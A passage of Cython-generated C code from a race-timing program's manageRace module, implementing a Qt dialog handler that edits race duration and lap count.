__Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; if (__pyx_t_2) { /* "Chrono/manageRace.py":62 * print("def requestDefine(self):") * if index == 0: # nothing to do.... * return # <<<<<<<<<<<<<< * elif index == 1: # Edit the race info * dlg = QDialog() */ __Pyx_XDECREF(__pyx_r); __pyx_r = Py_None; __Pyx_INCREF(Py_None); goto __pyx_L0; /* "Chrono/manageRace.py":61 * def requestDefine( index ): * print("def requestDefine(self):") * if index == 0: # nothing to do.... # <<<<<<<<<<<<<< * return * elif index == 1: # Edit the race info */ } /* "Chrono/manageRace.py":63 * if index == 0: # nothing to do.... * return * elif index == 1: # Edit the race info # <<<<<<<<<<<<<< * dlg = QDialog() * gui = Ui_set_RaceLen() */ __pyx_t_1 = __Pyx_PyInt_EqObjC(__pyx_v_index, __pyx_int_1, 1, 0); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 63, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = __Pyx_PyObject_IsTrue(__pyx_t_1); if (unlikely(__pyx_t_2 < 0)) __PYX_ERR(0, 63, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; if (__pyx_t_2) { /* "Chrono/manageRace.py":64 * return * elif index == 1: # Edit the race info * dlg = QDialog() # <<<<<<<<<<<<<< * gui = Ui_set_RaceLen() * gui.setupUi( dlg ) */ __pyx_t_3 = __Pyx_GetModuleGlobalName(__pyx_n_s_QDialog); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 64, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_3))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); } } if (__pyx_t_4) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_4); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 64, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else { __pyx_t_1 = __Pyx_PyObject_CallNoArg(__pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 64, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_v_dlg = __pyx_t_1; __pyx_t_1 = 0; /* "Chrono/manageRace.py":65 * elif index == 1: # Edit the race info * dlg = QDialog() * gui = Ui_set_RaceLen() # <<<<<<<<<<<<<< * gui.setupUi( dlg ) * gui.durETimeEdit.setTime( QTime( int( Globals.raceDuration / 3600 ),int( Globals.raceDuration / 60 )%60 ) ) */ __pyx_t_3 = __Pyx_GetModuleGlobalName(__pyx_n_s_Ui_set_RaceLen); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 65, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_3))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); } } if (__pyx_t_4) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_4); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 65, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else { __pyx_t_1 = __Pyx_PyObject_CallNoArg(__pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 65, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_v_gui = __pyx_t_1; __pyx_t_1 = 0; /* "Chrono/manageRace.py":66 * dlg = QDialog() * gui = Ui_set_RaceLen() * gui.setupUi( dlg ) # <<<<<<<<<<<<<< * gui.durETimeEdit.setTime( QTime( int( Globals.raceDuration / 3600 ),int( Globals.raceDuration / 60 )%60 ) ) * gui.nbTourIntNumInput.setValue( Globals.raceLaps ) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_gui, __pyx_n_s_setupUi); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 66, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_3))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); } } if (!__pyx_t_4) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_v_dlg); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 66, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_v_dlg}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 66, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_v_dlg}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 66, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); } else #endif { __pyx_t_5 = PyTuple_New(1+1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 66, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_t_4); __pyx_t_4 = NULL; __Pyx_INCREF(__pyx_v_dlg); __Pyx_GIVEREF(__pyx_v_dlg); PyTuple_SET_ITEM(__pyx_t_5, 0+1, __pyx_v_dlg); __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_t_5, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 66, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Chrono/manageRace.py":67 * gui = Ui_set_RaceLen() * gui.setupUi( dlg ) * gui.durETimeEdit.setTime( QTime( int( Globals.raceDuration / 3600 ),int( Globals.raceDuration / 60 )%60 ) ) # <<<<<<<<<<<<<< * gui.nbTourIntNumInput.setValue( Globals.raceLaps ) * dlg.show() */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_gui, __pyx_n_s_durETimeEdit); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 67, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setTime); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 67, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_4 = __Pyx_GetModuleGlobalName(__pyx_n_s_QTime); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 67, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_6 = __Pyx_GetModuleGlobalName(__pyx_n_s_Globals); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 67, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_raceDuration); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 67, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyInt_TrueDivideObjC(__pyx_t_7, __pyx_int_3600, 0xE10, 0); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 67, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyNumber_Int(__pyx_t_6); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 67, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_GetModuleGlobalName(__pyx_n_s_Globals); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 67, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_8 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_raceDuration); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 67, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_8); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyInt_TrueDivideObjC(__pyx_t_8, __pyx_int_60, 60, 0); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 67, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; __pyx_t_8 = __Pyx_PyNumber_Int(__pyx_t_6); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 67, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_8); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyInt_RemainderObjC(__pyx_t_8, __pyx_int_60, 60, 0); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 67, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; __pyx_t_8 = NULL; __pyx_t_9 = 0; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_4))) { __pyx_t_8 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_8)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_8); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); __pyx_t_9 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[3] = {__pyx_t_8, __pyx_t_7, __pyx_t_6}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-__pyx_t_9, 2+__pyx_t_9); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 67, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[3] = {__pyx_t_8, __pyx_t_7, __pyx_t_6}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-__pyx_t_9, 2+__pyx_t_9); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 67, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif { __pyx_t_10 = PyTuple_New(2+__pyx_t_9); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 67, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); if (__pyx_t_8) { __Pyx_GIVEREF(__pyx_t_8); PyTuple_SET_ITEM(__pyx_t_10, 0, __pyx_t_8); __pyx_t_8 = NULL; } __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_10, 0+__pyx_t_9, __pyx_t_7); __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_10, 1+__pyx_t_9, __pyx_t_6); __pyx_t_7 = 0; __pyx_t_6 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_10, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 67, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_5))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_5); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_5, function); } } if (!__pyx_t_4) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_5, __pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 67, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_3}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_5, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 67, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_3}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_5, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 67, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif { __pyx_t_10 = PyTuple_New(1+1); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 67, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_10, 0, __pyx_t_4); __pyx_t_4 = NULL; __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_10, 0+1, __pyx_t_3); __pyx_t_3 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_t_10, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 67, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; } } __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Chrono/manageRace.py":68 * gui.setupUi( dlg ) * gui.durETimeEdit.setTime( QTime( int( Globals.raceDuration / 3600 ),int( Globals.raceDuration / 60 )%60 ) ) * gui.nbTourIntNumInput.setValue( Globals.raceLaps ) # <<<<<<<<<<<<<< * dlg.show() * if dlg.exec(): */ __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_v_gui, __pyx_n_s_nbTourIntNumInput); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 68, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_10 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_setValue); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 68, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = __Pyx_GetModuleGlobalName(__pyx_n_s_Globals); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 68, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_raceLaps); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 68, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_10))) { __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_10); if (likely(__pyx_t_5)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_10); __Pyx_INCREF(__pyx_t_5); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_10, function); } } if (!__pyx_t_5) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_10, __pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 68, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_10)) { PyObject *__pyx_temp[2] = {__pyx_t_5, __pyx_t_3}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_10, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 68, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_10)) { PyObject *__pyx_temp[2] = {__pyx_t_5, __pyx_t_3}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_10, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 68, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif { __pyx_t_4 = PyTuple_New(1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 68, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_5); __pyx_t_5 = NULL; __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_4, 0+1, __pyx_t_3); __pyx_t_3 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_10, __pyx_t_4, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 68, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } } __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Chrono/manageRace.py":69 * gui.durETimeEdit.setTime( QTime( int( Globals.raceDuration / 3600 ),int( Globals.raceDuration / 60 )%60 ) ) * gui.nbTourIntNumInput.setValue( Globals.raceLaps ) * dlg.show() # <<<<<<<<<<<<<< * if dlg.exec(): * Globals.raceLaps = gui.nbTourIntNumInput.value() */ __pyx_t_10 = __Pyx_PyObject_GetAttrStr(__pyx_v_dlg, __pyx_n_s_show); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 69, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_10))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_10); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_10); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_10, function); } } if (__pyx_t_4) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_10, __pyx_t_4); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 69, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else { __pyx_t_1 = __Pyx_PyObject_CallNoArg(__pyx_t_10); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 69, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Chrono/manageRace.py":70 * gui.nbTourIntNumInput.setValue( Globals.raceLaps ) * dlg.show() * if dlg.exec(): # <<<<<<<<<<<<<< * Globals.raceLaps = gui.nbTourIntNumInput.value() * t = gui.durETimeEdit.time() */ __pyx_t_10 = __Pyx_PyObject_GetAttrStr(__pyx_v_dlg, __pyx_n_s_exec); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 70, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_10))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_10); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_10); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_10, function); } } if (__pyx_t_4) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_10, __pyx_t_4); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 70, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else { __pyx_t_1 = __Pyx_PyObject_CallNoArg(__pyx_t_10); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 70, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; __pyx_t_2 = __Pyx_PyObject_IsTrue(__pyx_t_1); if (unlikely(__pyx_t_2 < 0)) __PYX_ERR(0, 70, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; if (__pyx_t_2) { /* "Chrono/manageRace.py":71 * dlg.show() * if dlg.exec(): * Globals.raceLaps = gui.nbTourIntNumInput.value() # <<<<<<<<<<<<<< * t = gui.durETimeEdit.time() * Globals.raceDuration = t.hour()*3600 + t.minute()*60 */ __pyx_t_10 = __Pyx_PyObject_GetAttrStr(__pyx_v_gui, __pyx_n_s_nbTourIntNumInput); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 71, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_10, __pyx_n_s_value); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 71, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; __pyx_t_10 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_10 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_10)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_10); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (__pyx_t_10) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_10); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 71, __pyx_L1_error) __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; } else { __pyx_t_1 = __Pyx_PyObject_CallNoArg(__pyx_t_4); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 71, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_GetModuleGlobalName(__pyx_n_s_Globals); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 71, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); if (__Pyx_PyObject_SetAttrStr(__pyx_t_4, __pyx_n_s_raceLaps, __pyx_t_1) < 0) __PYX_ERR(0, 71, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; /* "Chrono/manageRace.py":72 * if dlg.exec(): * Globals.raceLaps = gui.nbTourIntNumInput.value() * t = gui.durETimeEdit.time() # <<<<<<<<<<<<<< * Globals.raceDuration = t.hour()*3600 + t.minute()*60 * Globals.MainWindow.B_Define.setCurrentIndex( 0 ) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_gui, __pyx_n_s_durETimeEdit); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 72, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_10 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_time); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 72, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_10))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_10); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_10); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_10, function); } } if (__pyx_t_1) { __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_10, __pyx_t_1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 72, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else { __pyx_t_4 = __Pyx_PyObject_CallNoArg(__pyx_t_10); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 72, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; __pyx_v_t = __pyx_t_4; __pyx_t_4 = 0; /* "Chrono/manageRace.py":73 * Globals.raceLaps = gui.nbTourIntNumInput.value() * t = gui.durETimeEdit.time() * Globals.raceDuration = t.hour()*3600 + t.minute()*60 # <<<<<<<<<<<<<< * Globals.MainWindow.B_Define.setCurrentIndex( 0 ) * */ __pyx_t_10 = __Pyx_PyObject_GetAttrStr(__pyx_v_t, __pyx_n_s_hour); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 73, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); __pyx_t_1 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_10))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_10); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_10); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_10, function); } } if (__pyx_t_1) { __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_10, __pyx_t_1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 73, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else { __pyx_t_4 = __Pyx_PyObject_CallNoArg(__pyx_t_10); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 73, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; __pyx_t_10 = PyNumber_Multiply(__pyx_t_4, __pyx_int_3600); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 73, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_t, __pyx_n_s_minute); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 73, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_1))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); } } if (__pyx_t_3) { __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_1, __pyx_t_3); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 73, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else { 